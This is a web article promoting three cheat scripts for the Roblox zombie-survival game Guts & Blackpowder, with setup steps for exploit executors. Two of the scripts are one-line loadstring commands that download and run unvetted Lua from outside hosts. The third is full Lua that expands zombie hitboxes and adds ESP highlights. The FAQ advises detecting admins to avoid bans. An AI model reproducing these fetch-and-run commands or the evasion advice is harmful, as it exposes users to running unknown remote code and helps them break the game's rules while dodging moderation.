Guts & Blackpowder is a thrilling Roblox survival game set during the Napoleonic Wars, where players fend off relentless zombie hordes with muskets and swords, boasting over 16 million visits by April 2025. The latest update enhances zombie AI and map interactions, making scripts vital for automating combat and survival tasks. This article presents three free, verified scripts for Guts & Blackpowder, including the powerful AussieWIRE Autofarm, auto kill features, and open-source ESP with hitbox expansion, tailored for 2025 gameplay. Scripts carry ban risks due to Roblox’s strict anti-exploit measures, so source codes from trusted platforms and use secure executors. Survive the undead apocalypse with these elite scripts
ast Updated: April 2025
1. AussieWIRE Autofarm – Guts & Blackpowder Ultimate Automation
AussieWIRE is a feature-rich script for Guts & Blackpowder, offering autofarming, combat automation, and safety features to dominate zombie hordes. Source the latest code from trusted platforms.
| Feature | Description |
|---|---|
| Autofarm | Automates zombie killing for XP and leaderboard ranks. |
| Kill Aura | Auto-attacks nearby enemies within adjustable range. |
| ESP | Highlights zombies, players, and items for better awareness. |
| Speed Mod | Adjusts movement speed with a fine-tune slider. |
| Anti-Grab | Blocks zombie grab attempts for safer combat. |
| Auto Equip Melee | Switches to the best melee weapon instantly. |
| Notify If Admin | Alerts when an admin joins to avoid detection. |
Description: AussieWIRE automates zombie slaying, enhances combat with kill aura and ESP, and includes safety features like admin notifications, making it a top choice for surviving Guts & Blackpowder’s intense battles.
loadstring(game:HttpGet(request({Url='https://aussie.productions/script'}).Body))()
Notes: Best on PC with executors like Synapse X or Fluxus; mobile support via Delta or Arceus X. Requires a key from the script’s official source. Use cautiously to avoid bans.
2. Auto Kill & More – Guts & Blackpowder Combat Enhancer
This script focuses on automating combat in Guts & Blackpowder, with features like auto kill and repair, designed for efficient zombie elimination. Source the latest code from trusted platforms.
| Feature | Description |
|---|---|
| Auto Kill | Automatically eliminates nearby zombies. |
| Kill Aura | Attacks enemies within a set range. |
| Auto Repair | Instantly repairs gear in the vicinity. |
| Insta Kill | One-shots zombies for rapid clears. |
| Anti-Infected | Protects against infection status effects. |
Description: Streamlines combat with auto kill, kill aura, and instant repairs, ensuring quick zombie clears and infection resistance, perfect for Guts & Blackpowder’s high-pressure survival scenarios.
local __function = loadstring(game:HttpGet("https://github.com/Hosvile/InfiniX/releases/latest/download/main.lua", true)) __function(__function)
Notes: Compatible with PC executors like KRNL or JJSploit; mobile support via Codex. Requires a key from the script’s official source. May not support all weapons like axes or pickaxes.
3. Hitbox & ESP Open Source – Guts & Blackpowder AI-Crafted Precision
This open-source script, crafted with AI, enhances Guts & Blackpowder with hitbox expansion and ESP, making zombies easier to spot and hit. Source the latest code from trusted platforms.
| Feature | Description |
|---|---|
| Hitbox Expander | Increases zombie hitbox size for easier hits. |
| ESP | Highlights zombies with customizable colors. |
| Auto Update | Continuously applies hitbox and ESP to new zombies. |
| Non-Colliding Hitboxes | Ensures hitboxes don’t interfere with movement. |
| Visual Transparency | Sets hitbox transparency for clear visuals. |
Description: Expands zombie hitboxes and adds ESP highlights, improving targeting accuracy and situational awareness, with continuous updates for newly spawned zombies in Guts & Blackpowder.
-- SETTINGS VARIABLES
local hitboxEnabled = true -- Set to 'true' to enable hitbox expansion, 'false' to disable
local hitboxSize = Vector3.new(10, 10, 10) -- Set hitbox size (adjust as needed)
local espEnabled = true -- Set to 'true' to enable ESP, 'false' to disable
local espColor = Color3.fromRGB(255, 0, 0) -- Set ESP color (RGB values)
-- Get the folder containing the zombies
local zombieFolder = workspace:WaitForChild("Zombies")
-- Function to create ESP (highlight) for a given zombie model
local function createESP(zombie)
if espEnabled and zombie:IsA("Model") then
-- Check if the zombie already has a highlight, if not, create one
if not zombie:FindFirstChildOfClass("Highlight") then
local highlight = Instance.new("Highlight")
highlight.Adornee = zombie -- Attach to the zombie model
highlight.FillColor = espColor
highlight.FillTransparency = 0.5 -- Adjust visibility
highlight.OutlineTransparency = 0.1 -- Set outline transparency
highlight.Parent = zombie -- Make it visible by parenting it
end
end
end
-- Function to expand the hitbox for a given zombie
local function expandHitbox(zombie)
local hrp = zombie:FindFirstChild("HumanoidRootPart")
if hrp and hitboxEnabled then
hrp.Size = hitboxSize -- Increase hitbox size based on the variable
hrp.Transparency = 0.5 -- Set transparency to visualize the hitbox
hrp.CanCollide = false -- Ensure it doesn't collide with the player
end
end
-- Function to handle applying both hitbox and ESP to a zombie
local function applyHitboxAndESP(zombie)
if zombie:FindFirstChild("HumanoidRootPart") then
-- Apply hitbox expansion
expandHitbox(zombie)
-- Apply ESP to the whole zombie model
createESP(zombie)
end
end
-- Initial iteration through all zombies in the Zombies folder
for _, zombie in pairs(zombieFolder:GetChildren()) do
applyHitboxAndESP(zombie)
end
-- Initial iteration through all m_Zombie instances in workspace.Camera
for _, zombie in pairs(workspace.Camera:GetChildren()) do
if zombie.Name == "m_Zombie" then
applyHitboxAndESP(zombie)
end
end
-- Handle newly spawned zombies in both the Zombies folder and workspace.Camera
zombieFolder.ChildAdded:Connect(function(zombie)
applyHitboxAndESP(zombie)
end)
workspace.Camera.ChildAdded:Connect(function(zombie)
if zombie.Name == "m_Zombie" then
applyHitboxAndESP(zombie)
end
end)
-- Continuous loop to ensure all zombies have ESP and hitboxes updated (for newly spawned or missed ones)
while true do
wait(1) -- Repeat every 1 second to apply to new zombies
-- Apply to all zombies in the Zombies folder
for _, zombie in pairs(zombieFolder:GetChildren()) do
applyHitboxAndESP(zombie)
end
-- Apply to all m_Zombie instances in workspace.Camera
for _, zombie in pairs(workspace.Camera:GetChildren()) do
if zombie.Name == "m_Zombie" then
applyHitboxAndESP(zombie)
end
end
end
Notes: Open-source, works on PC with executors like Fluxus or Solara; mobile support via Arceus X. No key required. Adjust hitbox size and ESP color in the code for customization.
How to Use Guts & Blackpowder Scripts
To run these Guts & Blackpowder scripts safely, follow these steps:
- Select an Executor: Choose a trusted executor. Android users can use Delta or Arceus X. iOS players should try Appleware or Codex. PC options include Synapse X, KRNL, or Fluxus.
- Install the Executor: Download from a trusted source to avoid malware. Follow the installation instructions.
- Launch and Attach: Open Roblox, join Guts & Blackpowder, then launch your executor. Click “Attach” or “Inject” to connect to the game.
- Execute the Script: Copy the script code from a trusted platform, paste it into the executor’s script window, and click “Execute.” Obtain keys from the script’s official source if required (see Notes).
Use scripts responsibly to minimize ban risks, as Guts & Blackpowder’s rules strictly forbid exploiting, which can result in permanent bans.
Frequently Asked Questions
How does the AussieWIRE Autofarm script improve leaderboard rankings?
Can I use these scripts on mobile for Guts & Blackpowder?
What happens if an admin detects my script usage?
AussieWIRE’s Notify If Admin and Kick If Admin features alert you or disconnect you when an admin joins, reducing ban risks; always disable scripts in admin-heavy servers.
How do I customize the Hitbox & ESP script for better performance?
Edit the hitboxSize and espColor variables in the open-source code to adjust hitbox size or ESP visibility, and toggle hitboxEnabled or espEnabled to reduce lag.